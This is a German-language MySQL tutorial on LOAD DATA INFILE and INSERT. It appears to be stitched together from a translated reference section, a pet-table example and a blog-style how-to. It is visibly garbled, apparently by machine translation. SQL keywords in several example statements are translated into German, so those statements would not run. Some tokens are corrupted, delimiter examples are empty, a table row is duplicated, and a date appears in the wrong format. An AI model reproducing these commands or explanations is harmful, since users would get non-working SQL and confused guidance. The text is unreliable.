- In einem Format mit fester Zeichenfolgenlänge (was geschieht, wenn sowohl FIELDS TERMINATED BY als auch FIELDS ENCLOSED BY leer sind) wird NULL als leere Zeichenfolge geschrieben. Beachten Sie, dass dies dazu führt, dass NULL-Werte und leere Zeilen in der Tabelle beim Schreiben in eine Datei nicht unterscheidbar sind, da beide leere Zeilen schreiben. Wenn Sie zwischen ihnen unterscheiden müssen, vermeiden Sie die Verwendung eines Formats mit fester Zeilenlänge.
Nachfolgend sind einige Fälle aufgeführt, die von LOAD DATA INFILE nicht unterstützt werden:- Feste LENGTH-Zeilen (FIELDS TERMINATED BY AND FIELDS ENCLOSED BY nyctye) bei Vorhandensein von TEXT- oder BLOB-Spalten.
- Wenn Sie ein Trennzeichen angeben, das mit dem Präfix eines anderen übereinstimmt, interpretiert LOAD DATA INFILE den Eingabestream möglicherweise nicht richtig. Beispielsweise führt die folgende Option zu Problemen:
Felder, die mit „“ abgeschlossen sind und mit „“ umschlossen sind
- Wenn FIELDS ESCAPED BY leer ist, führen Feldwerte, die die Zeichen FIELDS ENCLOSED BY OR LINES TERMINATED BY gefolgt von einem LINES TERMINATED BY CHARACTER enthalten, dazu, dass LOAD DATA INFILE das Lesen der Datei oder Zeile zu früh stoppt. Dies geschieht, weil LOAD DATA INFILE nicht korrekt bestimmen kann, wo der Feld- oder Zeilenwert endet. Das folgende Beispiel lädt alle Spalten der Persondata-Tabelle: mysql> LOAD DATA INFILE „persondata.txt“ INTO TABLE persondata;
Sofern am Ende der LOAD DATA INFILE-Anweisung keine Spaltenliste bereitgestellt wird, wird standardmäßig erwartet, dass die Eingabezeile Felder für jede Spalte in der Tabelle enthält. Wenn Sie nur einige der Tabellenspalten laden möchten, geben Sie eine Liste von Spalten an:
mysql> LADEDATEN-INDATEI „persondata.txt1
-> INTO TABLE Personendaten(col,col2,...);
Sie müssen auch eine Spaltenliste angeben, wenn die Reihenfolge der Felder in der Eingabedatei von der Reihenfolge der Spalten in der Tabelle abweicht. Andernfalls kann MySQL keine Zuordnung zwischen Eingabefeldern und Tabellenspalten herstellen.
Wenn die Eingabedatei zu wenige Felder in Zeilen enthält, werden den fehlenden Spalten Standardwerte zugewiesen. Das Zuweisen von Standardwerten wird in der CREATE TABLE-Syntax beschrieben
Leere Feldwerte werden anders interpretiert als fehlende Felder:- Bei String-Typen wird der Spalte ein leerer String zugewiesen.
- Bei numerischen Typen wird der Spalte 0 zugewiesen.
- Bei Datums- und Uhrzeittypen wird die Spalte auf den entsprechenden Typ festgelegt
„Null“-Wert. Siehe Datums- und Uhrzeittypen
Dies sind die gleichen Werte, die sich aus der expliziten Zuweisung der leeren Zeichenfolge an Spalten dieser Typen in einer INSERT- oder UPDATE-Anweisung ergeben.
TIMESTAMP-Spaltenwerte werden nur dann auf das aktuelle Datum und die aktuelle Uhrzeit gesetzt, wenn sie auf NULL (d. h. \N) gesetzt sind oder wenn eine Spalte dieses Typs in der Feldliste weggelassen wird, wenn eine Feldliste angegeben ist.LOAD DATA INFILE behandelt alle Eingaben als Zeichenfolgeneingaben, sodass Sie keine numerischen Werte für ENUM- oder SET-Spalten verwenden können, wie dies in INSERT-Anweisungen zulässig ist. Alle ENUM- oder SET-Werte müssen als Strings angegeben werden!
Wenn die LOAD DATA INFILE-Anweisung abgeschlossen ist, gibt sie eine Informationszeichenfolge im folgenden Format zurück:
Datensätze: I Gelöscht: 0 Übersprungen: 0 Warnungen: Über
Wenn Sie mit der C-API arbeiten, können Sie Informationen zu dieser Anweisung erhalten, indem Sie die Funktion mysql_info() aufrufen.
Die Warnungen, die unter bestimmten Bedingungen erscheinen, sind die gleichen wie diejenigen, die beim Einfügen von Werten mit der INSERT-Anweisung auftreten (siehe Abschnitt 6.1.4), mit der Ausnahme, dass LOAD DATA INFILE auch Warnungen generiert, dass zu wenige oder zu viele Felder vorhanden sind. Warnungen werden nirgendwo gespeichert, die Anzahl der Warnungen kann nur als Zeichen dafür dienen, dass alles gut gelaufen ist.
Seit MySQL 4.1.1 können Sie mit SHOW WARNINGS die ersten max_error_count-Warnungen als Informationen über auflisten Was Der Ladevorgang ist fehlgeschlagen. Siehe SHOW WARNINGS-Syntax
Vor MySQL 4.1.1 war lediglich die Anzahl der Warnungen ein Hinweis darauf, dass der Ladevorgang nicht reibungslos verlief. Wenn Sie eine Warnung erhalten und genau wissen möchten, warum diese angezeigt wurde, können Sie dies nur tun, indem Sie mit SELECT...INTO OUTFILE die Tabelle in eine andere Datei kopieren und mit der ursprünglichen Eingabedatei vergleichen.
Nachdem Sie die Tabelle erstellt haben, müssen Sie sie mit Daten füllen. Anweisungen und EINFÜGEN nützlich dafür. Wir werden etwas später darüber sprechen, wie sie funktionieren, aber denken wir zunächst über die Daten nach, die in die Tabelle eingegeben werden müssen. Wie genau sehen sie aus?
Nehmen wir an, dass Ihre Wildtieraufzeichnungen wie folgt beschrieben werden könnten. Beachten Sie, dass MySQL Datumsangaben im Jahr-Monat-Tag-Format erwartet. Dies kann sich von dem unterscheiden, was Sie gewohnt sind. Es ist besser, das Jahr vierstellig einzugeben. MySQL verfügt über einen ziemlich komplexen Algorithmus, um zweistellige Jahreswerte korrekt zu verarbeiten, aber Sie müssen das jetzt nicht herausfinden, also geben wir die Daten eindeutig ein. Alle Tierdaten für unser Beispiel sind in Tabelle 2.2 aufgeführt:
Tabelle 2.2. Tierdaten
| Name | Eigentümer | Spezies | Sex | Geburt | Tod |
| Flauschige | Harold | Katze | F | 1993-02-04 | |
| Flauschige | Harold | Katze | F | 1993-02-04 | |
| Krallen | Gwen | Katze | M | 1994-03-17 | |
| Buffy | Harold | Hund | F | 1989-05-13 | |
| Fang | Benny | Hund | M | 1990-08-27 | |
| Bowser | Diane | Hund | M | 1989-08-31 | 1995-07-29 |
| Munter | Gwen | Vogel | F | 1998-09-11 | |
| Whistler | Gwen | Vogel | 1997-12-09 | ||
| Schlank | Benny | Schlange | M | 1996-04-29 |
Da Sie mit einer leeren Tabelle beginnen, können Sie diese am einfachsten füllen, indem Sie eine Textdatei erstellen, die eine Zeile für jedes Ihrer Tiere enthält, und dann den Inhalt der Datei mit nur einer Anweisung in die Tabelle laden.
Sie könnten eine Textdatei pet.txt erstellen, die einen Eintrag pro Zeile enthält, wobei die durch Tabstopps getrennten Werte in der Reihenfolge angegeben werden, in der die Spalten in der CREATE TABLE-Anweisung aufgelistet wurden. Für fehlende Werte (z. B. unbekanntes Geschlecht oder Sterbedatum noch lebender Tiere) können Sie NULL-Werte verwenden. Um sie in einer Textdatei darzustellen, verwenden Sie eine Beschriftung. Ein Eintrag über den Whistler-Vogel sieht beispielsweise etwa so aus (ich verwende ein Leerzeichen, um den Tabulator anzuzeigen):
Whistler Gwen Vogel 09.12.1997
Um Daten aus der Textdatei pet.txt, die sich auf dem lokalen Computer (Client) und nicht auf dem Server befindet, in die Pet-Tabelle zu laden, verwenden Sie den Befehl LOAD DATA:
Mysql> LADE DATEN LOKALE INDATEI „pet.txt“ IN TABELLE pet;
Schlüsselwörter haben die folgende Bedeutung. IM ORDNER definiert eine Zeichenfolge, die den Namen der Datei angibt, aus der Daten gelesen werden sollen. Da der Name ein String ist, wird er in Anführungszeichen gesetzt, andernfalls versucht MySQL, ihn als numerischen Ausdruck auszuwerten. LOKAL gibt an, dass die Datei auf dem Clientsystem und nicht auf dem Server durchsucht werden soll. IN DIE TABELLE weist an, Daten in eine Tabelle zu laden, deren Name unmittelbar nach dem Wort TABLE (durch ein Leerzeichen getrennt) angegeben wird.
Sie können das Spaltenwerttrennzeichen und die Zeilenendemarkierung in der Anweisung bei Bedarf explizit angeben, die Standardwerte sind jedoch Tabulator und Zeilenvorschub. Sie reichen aus, um die Datei pet.txt korrekt zu lesen, und mehr benötigen Sie im Moment nicht.
Wenn Sie neue Einträge einzeln hinzufügen möchten, ist die Anleitung hilfreich EINFÜGEN. In der einfachsten Form geben Sie Werte für jede Spalte in der Reihenfolge an, in der die Spalten in der CREATE TABLE-Anweisung aufgelistet wurden. Nehmen wir an, Diane hat einen neuen Hamster bekommen, Puffball. Sie können mit der INSERT-Anweisung einen neuen Eintrag hinzufügen, etwa so:
Mysql> INSERT INTO pet
-> WERTE („Puffball“, „Diane“, „Hamster“, „f“, „1999-03-30“, „NULL“);
Auch hier sind die Schlüsselwörter nicht besonders komplex. INTO pet bestimmt, in welche Tabelle die Einfügung eingefügt wird. WERTE Gibt eine Liste von Werten an, die für einen neuen Datensatz in die Tabelle eingefügt werden sollen. Die Werte werden durch Kommas getrennt aufgelistet und alle in Klammern zusammengefasst.
Beachten Sie, dass die Zeichenfolgen und der Datumswert als Zeichenfolgen definiert sind. Sie können NULL direkt (nicht als Zeichenfolge) einfügen, um das Fehlen eines Werts darzustellen.
Anhand dieses Beispiels können Sie erkennen, dass das direkte Laden in eine Tabelle einiges an Tipparbeit erfordern würde. Die Anleitung hat viel Zeit gespart.
Mussten Sie schon einmal Daten aus einer Datei in eine Tabelle laden? Wenn nicht, werde ich versuchen, Ihnen kurz eine Möglichkeit zu erläutern, wie dies zu tun ist.
Laden Sie Daten aus einer Datei in eine Tabelle
LOAD DATA INFILE „data.csv“ INTO TABLE my_table Dieses Konstrukt hilft Ihnen, Daten aus einer Datei in Ihre Tabelle zu laden.
Wenn Sie formatierte Daten laden möchten, beispielsweise durch Kommas getrennt, dann hilft Ihnen das folgende Konstrukt:
LADEN SIE DIE DATEIENDATEI „data.csv“ IN DIE TABELLE my_table FELDER BEENDET VON "," EINGEFÜLLT VON „““ entkam vorbei "\\"
ZEILEN, DIE MIT „\r\n“ BEENDET WERDEN
Was bedeutet das?
- Suchen Sie nach Zeilenenden als „\r\n“-Zeichen
- Teilen Sie Zeilen mit Kommas (,) in Felder auf.
- Erwarten Sie, dass Felder in Anführungszeichen eingeschlossen sein können.
- Interpretieren Sie Tabulator-, Zeilenumbruch- oder „\“-Zeichen, denen ein „\“ vorangestellt ist, als Literale, die Teil des Feldwerts sind.
LOAD DATA INFILE-Konstruktion
Alles, was wir oben beschrieben haben, ist die berühmte LOAD DATA INFILE-Konstruktion.
Fehler: Zugriff für Benutzer verweigert
Wenn plötzlich ein Fehler auftritt Zugang für Benutzer verweigert, dann müssen Sie nur noch das Attribut hinzufügen LOKAL Vor IM ORDNER. Zum Beispiel:
LADEN SIE DIE LOKALE DATENDATEI „data.csv“ IN DIE TABELLE my_table
Laden Sie Daten für bestimmte Felder aus einer Datei in eine Tabelle
LADE DATEN LOKALE INDATEI „data.csv“ IN TABELLE t1 FELDER BEENDET DURCH "," ZEILEN BEENDET DURCH „\n“ (@ col1 ,@ col2 ,@ col3 ,@ col4 ) set name =@ col4 , id =@ col2 ;
Hier geben wir den Namen der Datei (data.csv) an, aus der die Daten geladen werden. In der Konstruktion (@col1,@col2,@col3,@col4) nummerieren wir alle Spalten der Datei zur weiteren Verwendung. Und dann setzen wir mit der bekannten Set-Methode die Werte dieser Spalten für bestimmte Tabellenfelder.
LOAD DATA INFILE zusammen mit JOIN
Wenn Sie eine Tabelle aus einer Datei mit einer vorhandenen Datei füllen müssen, haben Sie wahrscheinlich sofort an die Verwendung gedacht verbinden. Der Code für diese Dateneinfügung sieht etwa so aus:
LADEN SIE DATEN LOKALE INDATEI „data.csv“ IN TABELLE tabelle_1 FELDER BEENDET DURCH „\t“ ZEILEN BEENDET DURCH „\r\n“ (@col1,@col2,@col3,@col4) set user_id=@col1, username=( Wählen Sie den Benutzernamen aus den Benutzern aus, wobei user_id = @col1);